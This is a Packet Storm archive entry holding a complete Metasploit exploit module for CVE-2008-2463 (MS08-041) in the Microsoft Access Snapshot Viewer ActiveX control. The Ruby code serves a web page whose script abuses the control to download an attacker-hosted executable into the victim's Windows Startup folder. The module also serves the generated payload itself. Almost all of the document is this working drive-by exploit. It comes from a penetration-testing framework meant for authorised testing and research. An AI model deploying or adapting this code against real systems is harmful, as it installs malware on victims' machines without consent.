Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download

2009-11-26T00:00:00
ID PACKETSTORM:83071
Type packetstorm
Reporter MC
Modified 2009-11-26T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download',  
'Description' => %q{  
This module allows remote attackers to place arbitrary files on a users file system  
via the Microsoft Office Snapshot Viewer ActiveX Control.  
},  
'License' => 'MSF_LICENSE',  
'Author' => [ 'MC' ],  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2008-2463' ],  
[ 'OSVDB', '46749'],  
[ 'MSB', 'MS08-041' ],  
[ 'BID', '30114' ],  
],  
'Payload' =>  
{  
'Space' => 2048,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),  
], self.class)  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
  
payload_url = "http://"  
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"  
  
if (request.uri.match(/payload/))  
return if ((p = regenerate_payload(cli)) == nil)  
data = Msf::Util::EXE.to_win32pe(framework,p.encoded)  
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
vname = rand_text_alpha(rand(100) + 1)  
exe = rand_text_alpha(rand(20) + 1)  
  
content = %Q|  
<html>  
<head>  
<script>  
try {  
var #{vname} = new ActiveXObject('snpvw.Snapshot Viewer Control.1');  
#{vname}.SnapshotPath = "#{payload_url}";  
#{vname}.CompressedPath = "#{datastore['PATH']}\\#{exe}.exe";  
#{vname}.PrintSnapshot();  
} catch( e ) { window.location = 'about:blank' ; }  
</script>  
</head>  
</html>  
|  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
send_response_html(cli, content)  
  
handler(cli)  
  
end  
  
end  
`